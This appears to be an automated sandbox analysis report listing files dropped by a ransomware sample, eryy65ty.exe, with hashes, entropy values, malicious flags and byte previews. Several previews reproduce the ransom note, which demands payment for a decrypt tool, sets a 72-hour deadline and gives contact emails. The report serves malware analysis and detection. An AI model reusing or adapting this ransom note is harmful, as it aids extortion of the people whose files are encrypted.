                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:b....]3,r.W..E.........F`LO.K.M..c!..B.v.c=..`_f.8rt..........+..6.+j...kD.m....%..m.z....._.9.z9f.v. .xu.5......p.=t.\(....?$..-0|..P..g.7.O..%..Of....b...... ..$)..b.b.k>..........d...........@.H......Cj.A......I.r.....d*...=...>.T[B5w....U<.'dI!L^!..w&...).3>..5O.<.R...J....QR...z....>...ix..1S.!.z.;d..:.I.F.......DL(.3a.H...c..z..Y..[Y.C7.....M..V.m$t!.Z....-p......8d.J\..Yz....z..,.X.F...o.t....6D...%9v...a:k...^....M!..B...g.j_.6c.4.c/`j.c.rS.a.e+|..;....|F.K8...)..&....O|oRt.ZeJ-jRp.0...Ht...E7....c.......V.,.!d.O.u.[...(;.....V+r...Zlx%..S............/?..9Z..EY.....k...P..M{.....>.U.'..%_...n.....&....z.. .85QX8~._. ..!.L..n...*,tN...Z...&....K.~....oME..H.&<%7..w..K..A.Xq...L-7P..].^...N.m}.m..3q._|.n.......'d.. .n`.........*........h.MX....K..!.....u.,.D.C0c.E...n...@`M...$.<:B...A.g@.I4....m.>.~.)M..u.}(.-.z..~....Cx.5.7k......I3.....{...`a%.../....)P...."....;......6lM.>.b.Y`.!.F.N.....7...8I..\Z.}.......Z.>.A..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):24418
                                                                                                                                                                Entropy (8bit):2.3627505853093473
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:ppf4bwm7SHj063pa7XW7fonWL7V5AKsKcSGsx0+PH:ppgbwm7SHj063pwoAKcSGsK0
                                                                                                                                                                MD5:287491353D26BD9093266BA270C592A3
                                                                                                                                                                SHA1:58484810537B090C62C6EAE46B28C755F9EAF90A
                                                                                                                                                                SHA-256:56DD911354CEEB613CC1FA4B051573C78A62526265E557BC667A8BD3B2789AE3
                                                                                                                                                                SHA-512:ED63E50DBE63B6A8A2136FEDA3BEA7A06A053F78F3A438599BD666AB41B8770ED2D8CC9C6153A89D28AEEF9E2607F5063E5EB543308885EEFFFE75947851EF80
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:b....]3,r.W..E.........F`LO.K.M..c!..B.v.c=..`_f.8rt..........+..6.+j...kD.m....%..m.z....._.9.z9f.v. .xu.5......p.=t.\(....?$..-0|..P..g.7.O..%..Of....b...... ..$)..b.b.k>..........d...........@.H......Cj.A......I.r.....d*...=...>.T[B5w....U<.'dI!L^!..w&...).3>..5O.<.R...J....QR...z....>...ix..1S.!.z.;d..:.I.F.......DL(.3a.H...c..z..Y..[Y.C7.....M..V.m$t!.Z....-p......8d.J\..Yz....z..,.X.F...o.t....6D...%9v...a:k...^....M!..B...g.j_.6c.4.c/`j.c.rS.a.e+|..;....|F.K8...)..&....O|oRt.ZeJ-jRp.0...Ht...E7....c.......V.,.!d.O.u.[...(;.....V+r...Zlx%..S............/?..9Z..EY.....k...P..M{.....>.U.'..%_...n.....&....z.. .85QX8~._. ..!.L..n...*,tN...Z...&....K.~....oME..H.&<%7..w..K..A.Xq...L-7P..].^...N.m}.m..3q._|.n.......'d.. .n`.........*........h.MX....K..!.....u.,.D.C0c.E...n...@`M...$.<:B...A.g@.I4....m.>.~.)M..u.}(.-.z..~....Cx.5.7k......I3.....{...`a%.../....)P...."....;......6lM.>.b.Y`.!.F.N.....7...8I..\Z.}.......Z.>.A..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):530
                                                                                                                                                                Entropy (8bit):7.615048287588901
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:AN18DTu/Nz7lEuZRTSSIsZlWmW6O5bj0Emn:oC3u5yuZ/IyW8Kj01
                                                                                                                                                                MD5:9F442D35FA9B4EF99965898F8011D9B0
                                                                                                                                                                SHA1:1BFCE9A322EF749E280A67F0D6C5BF3B14FC4CBA
                                                                                                                                                                SHA-256:6FD41C3C7C6EDB17BDB99AA3FEB019FD32939CBBE6785CE38AEE1F67322090C8
                                                                                                                                                                SHA-512:F65BC866ACD12FAC1F70B09948339FCF4C2218838CB44D0A9519617E371519EAA2C5088C5657FA000A0BB3C241A12B0435BEB1B21A0C38596D699B2DFF388F46
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.s..w.....(.D:.4U..r...I..bs..s5....F.x3..I..i....*+..6.tQ.+..p.,.%...|.F.. ....aS.i..........S..{..I._}.`7..<....M.........j}r[..2..oJ....E.iI)M.e.v...... .V.Fd...a.8?u.:V.o.|cW". .H..h.T...)Ln.......p..h.s....L.....t....Rp.ww.YQ..oq.j...#.QnRL"{..k.I.....;=.0[E.rD...4.tBd.....oM...L....t...XV.....L..'......|..-4M....+.M}y+V^.....S.X............^..M..........X..v..3.q..3|........".........".C@..EW.0r..Y.vg..\...>......'....!{g...Kh.i4.o...........G.,...J.?.!..#.b..-..:~..tc.....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):530
                                                                                                                                                                Entropy (8bit):7.615048287588901
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:AN18DTu/Nz7lEuZRTSSIsZlWmW6O5bj0Emn:oC3u5yuZ/IyW8Kj01
                                                                                                                                                                MD5:9F442D35FA9B4EF99965898F8011D9B0
                                                                                                                                                                SHA1:1BFCE9A322EF749E280A67F0D6C5BF3B14FC4CBA
                                                                                                                                                                SHA-256:6FD41C3C7C6EDB17BDB99AA3FEB019FD32939CBBE6785CE38AEE1F67322090C8
                                                                                                                                                                SHA-512:F65BC866ACD12FAC1F70B09948339FCF4C2218838CB44D0A9519617E371519EAA2C5088C5657FA000A0BB3C241A12B0435BEB1B21A0C38596D699B2DFF388F46
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.s..w.....(.D:.4U..r...I..bs..s5....F.x3..I..i....*+..6.tQ.+..p.,.%...|.F.. ....aS.i..........S..{..I._}.`7..<....M.........j}r[..2..oJ....E.iI)M.e.v...... .V.Fd...a.8?u.:V.o.|cW". .H..h.T...)Ln.......p..h.s....L.....t....Rp.ww.YQ..oq.j...#.QnRL"{..k.I.....;=.0[E.rD...4.tBd.....oM...L....t...XV.....L..'......|..-4M....+.M}y+V^.....S.X............^..M..........X..v..3.q..3|........".........".C@..EW.0r..Y.vg..\...>......'....!{g...Kh.i4.o...........G.,...J.?.!..#.b..-..:~..tc.....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):14722
                                                                                                                                                                Entropy (8bit):5.9906369939066195
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:IaaiQz72h2b0lZ6mgtdHOelGdWaolvsTTe:I/OejJGxwGC
                                                                                                                                                                MD5:F262F99DAD2D8A628CEC0BBB5D3E4B32
                                                                                                                                                                SHA1:D1C5B2E5DEDAFC8A39BF0D23B3F376CEF622CA80
                                                                                                                                                                SHA-256:5ABFF074976652E05C8482E1446EE8F3D09B78449CD0732AA64D941A9247E486
                                                                                                                                                                SHA-512:628967F96F264CA15894C61B63D22EFA4148EAE0F2F27205A130B7863EA594C29660E980D060B631DCEC4645011B43B31FAE2B92219E3A948E1F9D672F82A2A2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:5...ED.. ......}]A,..I.w.E.L\.O..Z..<..f.@.M)I......`.%.86..<].....u....Lk.f<Z$.5B.!.. .).y9.....@.oX.pYxX._w;..M......4V.<q.%$..q..< ..~.~..F.V,.:....Z.....Ek[.....m.NqNR.]..(.......$.7!.eZ.v..6..+8.*j`...........C..8U..D.TPFvh:.....t...r...cK.._.:`.t..5....%/\r.._....Rk..:(.n.<.......?A].[r.u...N=.ps....t..&.d.%y.{...*i......xOH....U>..6*..g.%.k....k."...F....8.......x.S....1...Aj..^..)..1*D...(.J.....O.m6.../.3sv...E...#G...`..b.I....om.M7...kW.2..h...S.i...k..}..@.=...Q......T....b..9$^..j&..'Q.$|G4,l..J|....=...;.;.hm9P....M0... ..&..s.H..@*.....V...a.F.G2..X..M/.).}$.B...[@.[2..O`|.....E>..6....) ..."BO.E.#.....e+..U.5..j.......Z.#.......%....[C..%{...x..5v......;R....MR.....B:2.z..........z.?y...2J.k.%.z.9.....Lk..3.B..:...U..>sC....x.P...........5..DU..RNo..YX,.@e...,.8.R.:.~......j%."ha..F.(.v...o...!....+R8...."...M.o}.w..pGB=...{........j...+...8.....!3+..hrz.....S....k|..4(C4...5.....VzR..pp.....z!.B...X@..z.<...F_.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):14722
                                                                                                                                                                Entropy (8bit):5.9906369939066195
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:IaaiQz72h2b0lZ6mgtdHOelGdWaolvsTTe:I/OejJGxwGC
                                                                                                                                                                MD5:F262F99DAD2D8A628CEC0BBB5D3E4B32
                                                                                                                                                                SHA1:D1C5B2E5DEDAFC8A39BF0D23B3F376CEF622CA80
                                                                                                                                                                SHA-256:5ABFF074976652E05C8482E1446EE8F3D09B78449CD0732AA64D941A9247E486
                                                                                                                                                                SHA-512:628967F96F264CA15894C61B63D22EFA4148EAE0F2F27205A130B7863EA594C29660E980D060B631DCEC4645011B43B31FAE2B92219E3A948E1F9D672F82A2A2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:5...ED.. ......}]A,..I.w.E.L\.O..Z..<..f.@.M)I......`.%.86..<].....u....Lk.f<Z$.5B.!.. .).y9.....@.oX.pYxX._w;..M......4V.<q.%$..q..< ..~.~..F.V,.:....Z.....Ek[.....m.NqNR.]..(.......$.7!.eZ.v..6..+8.*j`...........C..8U..D.TPFvh:.....t...r...cK.._.:`.t..5....%/\r.._....Rk..:(.n.<.......?A].[r.u...N=.ps....t..&.d.%y.{...*i......xOH....U>..6*..g.%.k....k."...F....8.......x.S....1...Aj..^..)..1*D...(.J.....O.m6.../.3sv...E...#G...`..b.I....om.M7...kW.2..h...S.i...k..}..@.=...Q......T....b..9$^..j&..'Q.$|G4,l..J|....=...;.;.hm9P....M0... ..&..s.H..@*.....V...a.F.G2..X..M/.).}$.B...[@.[2..O`|.....E>..6....) ..."BO.E.#.....e+..U.5..j.......Z.#.......%....[C..%{...x..5v......;R....MR.....B:2.z..........z.?y...2J.k.%.z.9.....Lk..3.B..:...U..>sC....x.P...........5..DU..RNo..YX,.@e...,.8.R.:.~......j%."ha..F.(.v...o...!....+R8...."...M.o}.w..pGB=...{........j...+...8.....!3+..hrz.....S....k|..4(C4...5.....VzR..pp.....z!.B...X@..z.<...F_.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):302
                                                                                                                                                                Entropy (8bit):7.285197289071984
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:ubAS3gArN5dOKgLbGI3yFPHHVm5YdrPGVNNsYdMDxtdYuHI7Hn:ubAS3gO5GLCICFPHHYSdSVNNscMtAuor
                                                                                                                                                                MD5:E3581C9D53A47CBFE6CE47173BB7985F
                                                                                                                                                                SHA1:975EBB0B7B96C31DABE7F5CEFCC02958D1155A0E
                                                                                                                                                                SHA-256:7AD7AB616A537FC6C5E442C40061C1D6E1160D0A109AF14F75DB9605EF0DC86B
                                                                                                                                                                SHA-512:0E4D95856FCD30CB1B4309DC46E2C81B16C779BA8020E1130CD3970928A83A9BAB77DA536386C61E77A1BBEEC8347FB873708CCD3FE8FEA1231AC37A4E3AEAFF
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:o7=...c..*/..T....r.8......B.`.....gG......S........0*(wj....................TS.x......K..RR._.....4..e..,.. /.j....k{....-W`?...L{.1X..M"30.../.$#....|8....[M..j(..9j..f+..a.K!.....i...S.F...g...:N%u.J0?!y......[>..x@.h+f..:.G.Pk.|m..E.-..'.....=...}rL.5[<B...E.t^.........0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):302
                                                                                                                                                                Entropy (8bit):7.285197289071984
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:ubAS3gArN5dOKgLbGI3yFPHHVm5YdrPGVNNsYdMDxtdYuHI7Hn:ubAS3gO5GLCICFPHHYSdSVNNscMtAuor
                                                                                                                                                                MD5:E3581C9D53A47CBFE6CE47173BB7985F
                                                                                                                                                                SHA1:975EBB0B7B96C31DABE7F5CEFCC02958D1155A0E
                                                                                                                                                                SHA-256:7AD7AB616A537FC6C5E442C40061C1D6E1160D0A109AF14F75DB9605EF0DC86B
                                                                                                                                                                SHA-512:0E4D95856FCD30CB1B4309DC46E2C81B16C779BA8020E1130CD3970928A83A9BAB77DA536386C61E77A1BBEEC8347FB873708CCD3FE8FEA1231AC37A4E3AEAFF
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:o7=...c..*/..T....r.8......B.`.....gG......S........0*(wj....................TS.x......K..RR._.....4..e..,.. /.j....k{....-W`?...L{.1X..M"30.../.$#....|8....[M..j(..9j..f+..a.K!.....i...S.F...g...:N%u.J0?!y......[>..x@.h+f..:.G.Pk.|m..E.-..'.....=...}rL.5[<B...E.t^.........0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):320
                                                                                                                                                                Entropy (8bit):7.2922362885211784
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:RapfTi+8FKNdowuOm77Srb6KoTTlpXEEbxrEuVgWpWwhfMWDNttZ6xSn:MxTiT4TowubvaetTlpHIumW8whUWRtgS
                                                                                                                                                                MD5:4BDD07E4250E77A10A6963F2CCFD8E00
                                                                                                                                                                SHA1:F47E4A348D504E41BF06F40CDF0B576C830C08DA
                                                                                                                                                                SHA-256:4AB2C1D528D33C5930AC456BAE6A73EA351B8BDF8A64919983F1288F2D7756D8
                                                                                                                                                                SHA-512:03CAF12C634BCD5AA3561B8B3856B6CA496C3B51AC43A12E191AEBF0A4006D3C77EDF82076068DD433F6587B15CB9F429999D1ED4070C671CC78FD6C63E42C36
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...<..$...Q...-|...#..I.....:d..o........Dz.^........".p.........Y.&..d..hX...yOiw..z#......M.....Wl.~I.I.u..~.t.....?H!K..d.Z. ...X.@e.\6.:..W&...ol..v8.R.....{.....#v.F.6.....F..u.[n!...@../........Y%...(T....\....<{.?.. r#.f..{.9..>.-.K+..Hf.Cu.P....t........j..yF1..[.B..i^.x....F.7...(........0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):320
                                                                                                                                                                Entropy (8bit):7.2922362885211784
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:RapfTi+8FKNdowuOm77Srb6KoTTlpXEEbxrEuVgWpWwhfMWDNttZ6xSn:MxTiT4TowubvaetTlpHIumW8whUWRtgS
                                                                                                                                                                MD5:4BDD07E4250E77A10A6963F2CCFD8E00
                                                                                                                                                                SHA1:F47E4A348D504E41BF06F40CDF0B576C830C08DA
                                                                                                                                                                SHA-256:4AB2C1D528D33C5930AC456BAE6A73EA351B8BDF8A64919983F1288F2D7756D8
                                                                                                                                                                SHA-512:03CAF12C634BCD5AA3561B8B3856B6CA496C3B51AC43A12E191AEBF0A4006D3C77EDF82076068DD433F6587B15CB9F429999D1ED4070C671CC78FD6C63E42C36
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...<..$...Q...-|...#..I.....:d..o........Dz.^........".p.........Y.&..d..hX...yOiw..z#......M.....Wl.~I.I.u..~.t.....?H!K..d.Z. ...X.@e.\6.:..W&...ol..v8.R.....{.....#v.F.6.....F..u.[n!...@../........Y%...(T....\....<{.?.. r#.f..{.9..>.-.K+..Hf.Cu.P....t........j..yF1..[.B..i^.x....F.7...(........0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
